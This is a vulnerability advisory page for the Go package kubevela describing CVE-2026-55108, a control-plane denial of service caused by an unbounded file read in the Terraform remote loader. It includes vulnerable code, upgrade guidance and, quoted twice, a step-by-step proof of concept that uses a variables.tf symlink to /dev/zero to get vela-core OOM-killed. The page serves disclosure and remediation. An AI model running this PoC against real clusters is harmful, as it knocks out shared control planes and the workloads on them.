Vulnerabilities in pkg:golang/github.com/oam-dev/kubevela

PACKAGE
Advisory Identifier: GHSA-fmgp-q6jx-gg3x
Advisory Summary

CVE-2026-55108 is a HIGH (CVSS 8.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Github.com/oam dev/kubevela libraries in the Go ecosystem. The issue involves kubevela terraform remote loader dos via unbounded file read. Remediation is available by upgrading affected packages to version 1.9.14, 1.10.9, 1.11.0-alpha.4.

2 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/github.com/oam-dev/kubevela

2 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/github.com/oam-dev/kubevela. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-fmgp-q6jx-gg3x CVE-2026-55108 HIGH KubeVela Terraform remote loader DoS via unbounded file read
GHSA-m5xf-x7q6-3rm7 CVE-2022-39383 MODERATE KubeVela VelaUX APIserver has SSRF vulnerability

CVE-2026-55108 at a Glance

CVE Identifier CVE-2026-55108
GHSA Identifier GHSA-fmgp-q6jx-gg3x
Severity HIGH
CVSS v3.1 Base Score 8.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Github.com/oam dev/kubevela
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 8.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-55108

To remediate this vulnerability, upgrade all affected Github.com/oam dev/kubevela dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/oam-dev/kubevela fixed: 1.9.14
Upgrade github.com/oam-dev/kubevela to 1.9.14
github.com/oam-dev/kubevela fixed: 1.10.9
Upgrade github.com/oam-dev/kubevela to 1.10.9
github.com/oam-dev/kubevela fixed: 1.11.0-alpha.4
Upgrade github.com/oam-dev/kubevela to 1.11.0-alpha.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/oam-dev/kubevela

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55108, inspect your project dependencies for Github.com/oam dev/kubevela:

inspect dependencies for github.com/oam-dev/kubevela

Analyze the terminal output to locate any version of Github.com/oam dev/kubevela in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.9.14), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Github.com/oam dev/kubevela, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary KubeVela's Terraform remote configuration loader can be abused to make `vela-core` read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service. The issue is reachable when a user with permission to create or update a `core.oam.dev/v1beta1` `ComponentDefinition` registers a Terraform `remote` schematic that points to a malicious or compromised git repository. The repository can contain a `variables.tf` symlink that resolves to `/dev/zero` after checkout. `vela-core` follows the symlink and calls `os.ReadFile` before HCL parsing, so memory grows until the controller is OOM killed. ### Details The affected code is in `pkg/controller/utils/capability.go`, inside `GetTerraformConfigurationFromRemote`: https://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242 ```go tfPath := filepath.Join(cachePath, remotePath, "variables.tf") if _, err := os.Stat(tfPath); err != nil { tfPath = filepath.Join(cachePath, remotePath, "main.tf") if _, err := os.Stat(tfPath); err != nil { return "", errors.Wrap(err, "failed to find main.tf or variables.tf in Terraform configurations of the remote repository") } } conf, err := os.ReadFile(filepath.Clean(tfPath)) if err != nil { return "", errors.Wrap(err, "failed to read Terraform configuration") } ``` When a `ComponentDefinition` uses: ```yaml schematic: terraform: type: remote configuration: <git repository URL> ``` the controller clones the user-supplied git repository and then reads `variables.tf` or `main.tf` from the checkout. The read path is built from attacker-controlled repository contents and `terraform.path`, but the code does not verify: - whether the target is a regular file; - whether the resolved path remains inside the clone cache; - how large the file is before reading it. Both `os.Stat` and `os.ReadFile` follow symlinks. If the repository contains `variables.tf -> ../../../../../../dev/zero`, then after checkout under the default cache path this symlink resolves to `/dev/zero`. `os.Stat` succeeds, and `os.ReadFile` reads from `/dev/zero`, which never returns EOF. The failure happens during `os.ReadFile`, before the content reaches HCL parsing or `ParseTerraformVariables`, so later validation cannot prevent the OOM. This vulnerability also has a path-traversal-like aspect, because symlinks and `terraform.path` can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in `os.ReadFile` before HCL parsing, rather than a confidentiality impact. ### PoC Prerequisites: - KubeVela is installed with the default configuration, for example in a kind cluster: ```sh helm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait ``` - I reproduced this with `oamdev/vela-core:v1.10.8` and a `vela-core` memory limit of 1Gi. - The attacker has `create` / `update` permissions for `core.oam.dev/v1beta1` `ComponentDefinition` in any namespace. - The tester can create a git repository that `vela-core` can clone. 1. Create a test git repository. In the repository root, add a relative `variables.tf` symlink that resolves to `/dev/zero` after checkout, then push it: ```sh git init poc-tf-dos && cd poc-tf-dos ln -s ../../../../../../dev/zero variables.tf git add variables.tf && git commit -m "poc" git remote add origin https://github.com/<YOUR_ORG>/<YOUR_REPO>.git git push -u origin main ``` 2. Create `poc-componentdefinition.yaml`. Replace `configuration` with the repository URL from step 1: ```yaml apiVersion: core.oam.dev/v1beta1 kind: ComponentDefinition metadata: name: dos-tf namespace: vela-system spec: workload: definition: apiVersion: apps/v1 kind: Deployment schematic: terraform: type: remote configuration: https://github.com/<YOUR_ORG>/<YOUR_REPO>.git path: "" ``` The workload GVK should reference a type that exists in the cluster, such as `apps/v1` `Deployment`. 3. Apply the manifest and observe `vela-core`: ```sh kubectl apply -f poc-componentdefinition.yaml kubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w ``` 4. Confirm the OOMKilled termination: ```sh kubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \ -o jsonpath='{.items[0].status.containerStatuses[0].lastState.terminated}{"\n"}' ``` Expected result: ```text "exitCode":137 "reason":"OOMKilled" ``` The pod may then enter `CrashLoopBackOff`. If the reconcile fails with `stat .../main.tf: no such file or directory`, check that the symlink is relative and resolves to `/dev/zero` from the checkout location. If the same `ComponentDefinition` was already reconciled, remove the stale clone cache under `/root/.vela/terraform/<name>` and retry. ### Impact This is a denial-of-service vulnerability affecting KubeVela control-plane availability. A user who can create or update `ComponentDefinition` objects can cause the cluster-wide `vela-core` controller to be OOM killed. If `vela-core` has a memory limit, the impact is likely contained to repeated OOMKilled restarts of the controller Pod. If no effective memory limit is configured, the unbounded read can also pressure node memory and affect other workloads running on the same node.

CVE-2026-55108 Affected Github.com/oam dev/kubevela Versions

3 component(s)
Fixed Versions:
1.9.141.10.91.11.0-alpha.4
Product / Package Ecosystem Affected Versions Fixed Version
github.com/oam-dev/kubevela
Go
< 1.9.14
1.9.14
github.com/oam-dev/kubevela
Go
≥ 1.10.0-alpha.1
< 1.10.9
1.10.9
github.com/oam-dev/kubevela
Go
≥ 1.11.0-alpha.1
< 1.11.0-alpha.4
1.11.0-alpha.4

References

Frequently Asked Questions

What is CVE-2026-55108?
CVE-2026-55108 is a security vulnerability in Github.com/oam dev/kubevela involving KubeVela Terraform remote loader DoS via unbounded file read under CWE-400: Uncontrolled Resource Consumption.
Which Github.com/oam dev/kubevela versions are affected?
Affected versions include releases prior to 1.9.14, 1.10.9, 1.11.0-alpha.4 across affected packages: github.com/oam-dev/kubevela.
What version fixes CVE-2026-55108?
Upgrading to 1.9.14, 1.10.9, 1.11.0-alpha.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/oam-dev/kubevela affected?
Yes, github.com/oam-dev/kubevela is affected in releases prior to 1.9.14, 1.10.9, 1.11.0-alpha.4. Upgrade your dependency to 1.9.14, 1.10.9, 1.11.0-alpha.4 or later.
What is the CVSS score of CVE-2026-55108?
CVE-2026-55108 has a CVSS v3.1 base score of 8.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:H.
What CWE is associated with CVE-2026-55108?
CVE-2026-55108 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Go dependencies for CVE-2026-55108?
Run the dependency tree command: 'inspect dependencies for github.com/oam-dev/kubevela'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fmgp-q6jx-gg3x",
  "modified" : "2026-08-28T16:13:19Z",
  "published" : "2026-08-28T16:13:19Z",
  "aliases" : [ "CVE-2026-55108" ],
  "summary" : "KubeVela Terraform remote loader DoS via unbounded file read",
  "details" : "### Summary\n\nKubeVela's Terraform remote configuration loader can be abused to make `vela-core` read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service.\n\nThe issue is reachable when a user with permission to create or update a `core.oam.dev/v1beta1` `ComponentDefinition` registers a Terraform `remote` schematic that points to a malicious or compromised git repository. The repository can contain a `variables.tf` symlink that resolves to `/dev/zero` after checkout. `vela-core` follows the symlink and calls `os.ReadFile` before HCL parsing, so memory grows until the controller is OOM killed.\n\n### Details\n\nThe affected code is in `pkg/controller/utils/capability.go`, inside `GetTerraformConfigurationFromRemote`:\n\nhttps://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242\n\n```go\ntfPath := filepath.Join(cachePath, remotePath, \"variables.tf\")\nif _, err := os.Stat(tfPath); err != nil {\n    tfPath = filepath.Join(cachePath, remotePath, \"main.tf\")\n    if _, err := os.Stat(tfPath); err != nil {\n        return \"\", errors.Wrap(err, \"failed to find main.tf or variables.tf in Terraform configurations of the remote repository\")\n    }\n}\nconf, err := os.ReadFile(filepath.Clean(tfPath))\nif err != nil {\n    return \"\", errors.Wrap(err, \"failed to read Terraform configuration\")\n}\n```\n\nWhen a `ComponentDefinition` uses:\n\n```yaml\nschematic:\n  terraform:\n    type: remote\n    configuration: <git repository URL>\n```\n\nthe controller clones the user-supplied git repository and then reads `variables.tf` or `main.tf` from the checkout. The read path is built from attacker-controlled repository contents and `terraform.path`, but the code does not verify:\n\n- whether the target is a regular file;\n- whether the resolved path remains inside the clone cache;\n- how large the file is before reading it.\n\nBoth `os.Stat` and `os.ReadFile` follow symlinks. If the repository contains `variables.tf -> ../../../../../../dev/zero`, then after checkout under the default cache path this symlink resolves to `/dev/zero`. `os.Stat` succeeds, and `os.ReadFile` reads from `/dev/zero`, which never returns EOF.\n\nThe failure happens during `os.ReadFile`, before the content reaches HCL parsing or `ParseTerraformVariables`, so later validation cannot prevent the OOM.\n\nThis vulnerability also has a path-traversal-like aspect, because symlinks and `terraform.path` can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in `os.ReadFile` before HCL parsing, rather than a confidentiality impact.\n\n### PoC\n\nPrerequisites:\n\n- KubeVela is installed with the default configuration, for example in a kind cluster:\n\n```sh\nhelm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait\n```\n\n- I reproduced this with `oamdev/vela-core:v1.10.8` and a `vela-core` memory limit of 1Gi.\n- The attacker has `create` / `update` permissions for `core.oam.dev/v1beta1` `ComponentDefinition` in any namespace.\n- The tester can create a git repository that `vela-core` can clone.\n\n1. Create a test git repository. In the repository root, add a relative `variables.tf` symlink that resolves to `/dev/zero` after checkout, then push it:\n\n```sh\ngit init poc-tf-dos && cd poc-tf-dos\nln -s ../../../../../../dev/zero variables.tf\ngit add variables.tf && git commit -m \"poc\"\ngit remote add origin https://github.com/<YOUR_ORG>/<YOUR_REPO>.git\ngit push -u origin main\n```\n\n2. Create `poc-componentdefinition.yaml`. Replace `configuration` with the repository URL from step 1:\n\n```yaml\napiVersion: core.oam.dev/v1beta1\nkind: ComponentDefinition\nmetadata:\n  name: dos-tf\n  namespace: vela-system\nspec:\n  workload:\n    definition:\n      apiVersion: apps/v1\n      kind: Deployment\n  schematic:\n    terraform:\n      type: remote\n      configuration: https://github.com/<YOUR_ORG>/<YOUR_REPO>.git\n      path: \"\"\n```\n\nThe workload GVK should reference a type that exists in the cluster, such as `apps/v1` `Deployment`.\n\n3. Apply the manifest and observe `vela-core`:\n\n```sh\nkubectl apply -f poc-componentdefinition.yaml\nkubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w\n```\n\n4. Confirm the OOMKilled termination:\n\n```sh\nkubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \\\n  -o jsonpath='{.items[0].status.containerStatuses[0].lastState.terminated}{\"\\n\"}'\n```\n\nExpected result:\n\n```text\n\"exitCode\":137\n\"reason\":\"OOMKilled\"\n```\n\nThe pod may then enter `CrashLoopBackOff`.\n\nIf the reconcile fails with `stat .../main.tf: no such file or directory`, check that the symlink is relative and resolves to `/dev/zero` from the checkout location. If the same `ComponentDefinition` was already reconciled, remove the stale clone cache under `/root/.vela/terraform/<name>` and retry.\n\n### Impact\n\nThis is a denial-of-service vulnerability affecting KubeVela control-plane availability.\n\nA user who can create or update `ComponentDefinition` objects can cause the cluster-wide `vela-core` controller to be OOM killed. \n\nIf `vela-core` has a memory limit, the impact is likely contained to repeated OOMKilled restarts of the controller Pod. If no effective memory limit is configured, the unbounded read can also pressure node memory and affect other workloads running on the same node.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/oam-dev/kubevela"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.9.14"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/oam-dev/kubevela"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.10.0-alpha.1"
      }, {
        "fixed" : "1.10.9"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/oam-dev/kubevela"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.11.0-alpha.1"
      }, {
        "fixed" : "1.11.0-alpha.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kubevela/kubevela/security/advisories/GHSA-fmgp-q6jx-gg3x"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevela/kubevela/pull/7191"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevela/kubevela/pull/7192"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevela/kubevela/commit/65dedda40a69cc1eccf4072a4c835e5b9f13334e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevela/kubevela/commit/7a4e59b2958ce1cf031fafbc188d6fafe8fe4d2e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevela/kubevela/commit/f6a64398b5e0065c57c3a0fb6765dd3dc48c749d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kubevela/kubevela"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevela/kubevela/releases/tag/v1.10.9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevela/kubevela/releases/tag/v1.11.0-alpha.4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kubevela/kubevela/releases/tag/v1.9.14"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-59" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T16:13:19Z",
    "nvd_published_at" : null
  }
}